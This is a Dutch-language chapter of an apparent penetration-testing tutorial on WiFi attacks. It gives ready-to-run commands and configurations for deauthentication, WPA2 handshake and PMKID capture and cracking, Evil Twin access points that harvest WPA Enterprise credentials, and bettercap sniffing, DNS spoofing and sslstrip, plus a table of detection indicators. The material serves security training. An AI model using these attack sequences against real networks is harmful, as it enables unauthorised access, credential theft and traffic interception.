CertifiedHacker

Wireless en WiFi Pentesting

Monitor mode, WPA/WPA2 handshake capture en kraken, PMKID aanval, Evil Twin, WPA Enterprise, deauthenticatie en post-exploitatie.

Wireless en WiFi Pentesting

De ether als aanvalsoppervlak

Er is iets poëtisch aan WiFi-pentesting. Bij een webapplicatie zit je achter een scherm en stuur je pakketjes door een kabel. Bij een netwerk-pentest heb je tenminste nog een Ethernet-aansluiting. Maar bij WiFi zit je letterlijk in een bestelbus op de parkeerplaats van het doelwit en vangt je radiogolven op met een antenne die eruitziet alsof je hem hebt gekocht bij een rommelbeurs. Wat je ook precies doet.

Wireless-pentesting is het testen van de beveiligingsmaatregelen rondom draadloze netwerken. Dat klinkt eenvoudig, maar de realiteit is een labyrint van protocollen, handshakes, encryptiemethoden en hardwarecompatibiliteitsproblemen die je doen verlangen naar de eenvoud van SQL Injection.

De reden dat WiFi-beveiliging zo complex is, heeft te maken met het fundamentele verschil tussen bedrade en draadloze netwerken. Een bedraad netwerk heeft een fysieke grens: je moet een kabel in een poort steken. Een draadloos netwerk heeft geen grens. Het signaal stopt niet bij de muur van het kantoor — het gaat door de muur heen, de straat op, het parkeerterrein over, en het café aan de overkant in. Iedereen binnen bereik kan het signaal ontvangen. Iedereen.


Hardware en setup

De juiste adapter

Je laptop’s ingebouwde WiFi-adapter is ontworpen om verbinding te maken met netwerken. Dat is niet wat wij doen. Wij willen luisteren naar verkeer dat niet voor ons bedoeld is, en pakketten injecteren die niet van ons afkomstig zouden moeten zijn. Daarvoor heb je een adapter die monitor mode en packet injection ondersteunt.

Dit is een van de weinige gebieden in pentesting waar hardware ertoe doet. De verkeerde adapter betekent dat geen enkele tool werkt, hoe goed je ook bent. Het is alsof je probeert te vissen met een hamer — je kunt er hard mee slaan, maar je vangt er geen vis mee.

AdapterChipsetFrequentieOpmerkingen
Alfa AWUS036ACHRTL8812AU2.4 + 5 GHzBetrouwbaar op Kali, goede range
Alfa AWUS036AXMLMediaTek MT7921AU2.4 + 5 + 6 GHzWiFi 6 support, nieuwer
TP-Link TL-WN722N v1Atheros AR92712.4 GHzBudget, alleen v1 werkt!
Alfa AWUS1900RTL8814AU2.4 + 5 GHz4 antennes, maximale range

Monitor mode activeren

# Identificeer je adapter
iwconfig
# wlan0     IEEE 802.11  ESSID:off/any  Mode:Managed

# Methode 1: airmon-ng (aanbevolen)
airmon-ng check kill    # Stop interfering processen (NetworkManager etc.)
airmon-ng start wlan0
# wlan0mon is nu je monitor mode interface

# Methode 2: handmatig (als airmon-ng niet werkt)
ip link set wlan0 down
iw wlan0 set type monitor
ip link set wlan0 up
iw wlan0 set channel 6    # Optioneel: lock op een kanaal

# Verifieer
iwconfig wlan0mon
# Mode:Monitor ← succes!

Die eerste stap — airmon-ng check kill — is cruciaal. NetworkManager probeert continu je adapter te gebruiken om verbinding te maken met netwerken. Als je monitor mode probeert te activeren terwijl NetworkManager draait, is het alsof je probeert mee te luisteren met een gesprek terwijl iemand naast je een feesttoeter blaast.


Verkenning: wat is er in de lucht?

# Scan alle netwerken op alle kanalen
airodump-ng wlan0mon

# Output:
# BSSID              PWR  Beacons  #Data  #/s  CH  ENC   AUTH  ESSID
# AA:BB:CC:DD:EE:FF  -42  1247     893    12   6   WPA2  PSK   TargetNetwork
# 11:22:33:44:55:66  -71  843      21     0    1   WPA2  MGT   CorpWiFi
# 77:88:99:00:11:22  -85  234      0      0    11  OPN         FreeWiFi

# Interpretatie:
# PWR: signaalsterkte (hoe dichter bij 0, hoe sterker)
# ENC: encryptie (WPA2, WPA3, WEP, OPN = open)
# AUTH: authenticatie (PSK = pre-shared key, MGT = 802.1X enterprise)
# #Data: datapakketten (meer = actievere clients = beter voor ons)

# Focus op één netwerk
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Nu zie je ook de verbonden clients:
# STATION            PWR   Packets  BSSID
# CC:DD:EE:FF:00:11  -38   1892     AA:BB:CC:DD:EE:FF   <-- actieve client

WPA2-PSK aanvallen

De 4-way handshake: het gouden ticket

WPA2-PSK authenticatie werkt via een 4-way handshake tussen de client en het access point. Als je deze handshake vangt — alle vier de EAPOL-frames — heb je alles wat je nodig hebt om het wachtwoord offline te kraken. Je hebt het wachtwoord zelf niet nodig om de handshake te vangen; je hoeft alleen maar te luisteren terwijl iemand anders verbinding maakt.

# Stap 1: Monitor het netwerk en wacht op een handshake
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon

# Stap 2: Forceer een herverbinding (in een tweede terminal)
# Deauthenticatie: stuur disconnect-pakketten naar een client
aireplay-ng -0 5 -a AA:BB:CC:DD:EE:FF -c CC:DD:EE:FF:00:11 wlan0mon

# -0 5: stuur 5 deauth-frames
# -a: BSSID van het access point
# -c: MAC-adres van de client

# De client disconnect en reconnect automatisch.
# Tijdens die reconnect vangt airodump de handshake.
# Je ziet rechtsboven: "WPA handshake: AA:BB:CC:DD:EE:FF"

# Stap 3: Kraken met aircrack-ng (CPU)
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap

# Stap 4: Kraken met hashcat (GPU, veel sneller)
# Converteer eerst naar hashcat-formaat
hcxpcapngtool capture-01.cap -o hash.hc22000

# Kraken
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txt

# Hashcat snelheden (voorbeeld):
# GTX 1080: ~400.000 WPA2 hashes/seconde
# RTX 4090: ~2.500.000 WPA2 hashes/seconde
# rockyou.txt (14M woorden) in 6 seconden op een RTX 4090

De deauthenticatie-aanval is de brutale maar effectieve methode. Je gooit iemand van het netwerk af en wacht tot hij terugkomt. Het is als de brandalarm in een kantoor laten afgaan zodat je kunt kijken wie welke sleutel gebruikt om weer naar binnen te gaan.

PMKID aanval: zonder deauthenticatie

De PMKID-aanval, ontdekt in 2018 door Jens “atom” Steube (de maker van hashcat), was een game-changer. Je hebt geen client nodig. Je hebt geen deauthenticatie nodig. Je hoeft alleen maar het eerste bericht van de 4-way handshake op te vangen — en dat wordt door het access point zelf gestuurd als reactie op een associatie-verzoek.

# hcxdumptool: vangt PMKID's (en handshakes) passief
hcxdumptool -i wlan0mon --enable_status=1 -o dump.pcapng

# Laat het een paar minuten draaien
# Het stuurt automatisch associatie-requests naar elk AP in bereik
# en vangt de PMKID op uit de response

# Converteer naar hashcat-formaat
hcxpcapngtool dump.pcapng -o hash.hc22000

# Kraken
hashcat -m 22000 hash.hc22000 wordlist.txt

# Waarom werkt dit?
# De PMKID is: HMAC-SHA1-128(PMK, "PMK Name" || MAC_AP || MAC_Client)
# De PMK wordt afgeleid van het WiFi-wachtwoord
# Als je de PMKID hebt + het SSID + beide MAC-adressen,
# kun je offline wachtwoorden proberen

WPA Enterprise (802.1X)

WPA Enterprise is fundamenteel anders dan WPA-PSK. In plaats van een gedeeld wachtwoord, heeft elke gebruiker eigen credentials. Authenticatie verloopt via een RADIUS-server en het EAP (Extensible Authentication Protocol) framework. De meest voorkomende variant is PEAP-MSCHAPv2: de client maakt een TLS-tunnel naar de RADIUS-server en stuurt daarbinnen een gebruikersnaam en wachtwoord-hash.

# Evil Twin aanval op WPA Enterprise
# Stap 1: Maak een fake access point met dezelfde SSID
# hostapd-mana: een gemodificeerde hostapd die credentials vangt
cat > mana.conf <<EOF
interface=wlan0mon
ssid=CorpWiFi
channel=1
hw_mode=g
ieee8021x=1
eap_server=1
eap_user_file=mana.eap_user
ca_cert=/etc/freeradius/3.0/certs/ca.pem
server_cert=/etc/freeradius/3.0/certs/server.pem
private_key=/etc/freeradius/3.0/certs/server.key
mana_wpe=1
mana_eapsuccess=1
EOF

hostapd-mana mana.conf

# Stap 2: Deauth clients van het echte AP
aireplay-ng -0 0 -a REAL_AP_BSSID wlan0mon

# Clients reconnecten naar jouw fake AP en sturen hun credentials
# Je ziet MSCHAPv2 challenge/response paren in de output

# Stap 3: Kraken
# asleap (specifiek voor MSCHAPv2)
asleap -C CHALLENGE_HEX -R RESPONSE_HEX -W /usr/share/wordlists/rockyou.txt

# hashcat (mode 5500 voor NetNTLMv1, mode 5600 voor NetNTLMv2)
hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt

Evil Twin: de valse tweeling

Een Evil Twin is een nep access point dat zich voordoet als een legitiem netwerk. Wanneer een gebruiker verbinding maakt met de Evil Twin in plaats van het echte AP, loopt al het verkeer via jou. Het is de WiFi-variant van een man-in-the-middle aanval, maar dan zonder dat je een bestaande verbinding hoeft te onderscheppen — de gebruiker komt vrijwillig naar jou toe.

# Methode 1: Eenvoudige Evil Twin met hostapd + dnsmasq

# hostapd.conf
interface=wlan0mon
ssid=FreeWiFi
channel=6
hw_mode=g

# dnsmasq.conf (DHCP + DNS)
interface=wlan0mon
dhcp-range=192.168.1.10,192.168.1.100,255.255.255.0,12h
server=8.8.8.8

# Start
hostapd hostapd.conf &
dnsmasq -C dnsmasq.conf &

# Routing en NAT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

# Nu fungeert je laptop als een werkend access point
# Al het verkeer van verbonden clients loopt via jou

# Methode 2: Captive portal (credential harvesting)
# Gebruik Fluxion of WiFi-Pumpkin voor een automatische setup
# De client ziet een inlogpagina die lijkt op de corporate WiFi portal

Post-exploitatie

Zodra je op het WiFi-netwerk zit — hetzij door het wachtwoord te kraken, hetzij via een Evil Twin — ben je een interne aanvaller. Nu beginnen de technieken uit Deel II: Initiële Toegang:

# Netwerk discovery
arp-scan -l
nmap -sn 192.168.1.0/24

# Credential harvesting
responder -I wlan0 -dwP

# MITM
bettercap -iface wlan0 -eval "net.sniff on; net.probe on"

# Vanaf hier: pivot naar het interne netwerk
# Zie Deel II voor Active Directory, Kerberos, laterale beweging

WiFi Pentest Checklist

TestToolDoel
Netwerk-scanairodump-ngAlle AP’s en clients in kaart
WPA2-PSK handshakeairodump-ng + aireplay-ngWachtwoord offline kraken
PMKIDhcxdumptoolClientless wachtwoord capture
WPA Enterprisehostapd-manaCredential harvesting via Evil Twin
Evil Twinhostapd + dnsmasqMITM en credential capture
Client isolationarp-scan + nmapKunnen clients elkaar bereiken?
Rogue AP detectieairodump-ngOngeautoriseerde access points
WPSreaver/bullyWPS PIN brute force

WPA3 en zijn beperkingen

WPA3 is de opvolger van WPA2 en lost een aantal fundamentele problemen op. De handshake gebruikt Simultaneous Authentication of Equals (SAE), ook bekend als Dragonfly, in plaats van de PSK 4-way handshake. Dit betekent dat je de handshake niet meer offline kunt kraken — elke poging vereist een interactie met het access point.

Maar WPA3 is niet onaantastbaar:

# Dragonblood aanvallen (CVE-2019-9494, CVE-2019-9495)
# Side-channel aanvallen op de SAE-handshake
# Sommige implementaties lekken timing-informatie

# WPA3 transition mode
# Veel netwerken ondersteunen WPA2 EN WPA3 tegelijk
# Een aanvaller kan een client dwingen om WPA2 te gebruiken (downgrade)
# door een fake AP op te zetten dat alleen WPA2 adverteert

# Test of transition mode actief is
airodump-ng wlan0mon | grep "WPA3\|SAE"
# Als je zowel WPA2 als WPA3 ziet voor dezelfde SSID: downgrade mogelijk

Bettercap: het Zwitserse zakmes voor WiFi

# Bettercap combineert meerdere tools in één interface

# Start bettercap in WiFi-modus
bettercap -iface wlan0mon

# Scan netwerken
wifi.recon on

# Deauth een specifieke client
wifi.deauth AA:BB:CC:DD:EE:FF

# Handshake capture
wifi.assoc all
# Handshakes worden automatisch opgeslagen

# MITM na verbinding met het netwerk
set net.sniff.verbose true
net.sniff on
# Nu zie je al het onversleutelde verkeer

# DNS spoofing
set dns.spoof.domains target.com
set dns.spoof.address YOUR_IP
dns.spoof on

# HTTP proxy met credential capture
set http.proxy.sslstrip true
http.proxy on

WiFi Forensics en Detectie

Als pentester wil je weten of je aanvallen gedetecteerd worden. Hier zijn de indicators die een WIDS (Wireless Intrusion Detection System) oppikt:

AanvalDetectie-indicatorTools die het detecteren
DeauthenticatieBurst van deauth-frames van onbekende bronKismet, AirMagnet, Cisco wIPS
Evil TwinTweede AP met dezelfde SSID maar ander BSSIDKismet, FluxionDetect
PMKID harvestingOngebruikelijke associatie-requests zonder voltooiingWeinig — moeilijk te detecteren
WPA Enterprise impersonationRADIUS-server met ander certificaat802.1X supplicant controle, RADIUS logs
ARP spoofing (post-exploit)MAC-adres wijzigingen in ARP-tabelarpwatch, DHCP snooping

Op de hoogte blijven?

Ontvang nieuwe hoofdstukken en updates per e-mail.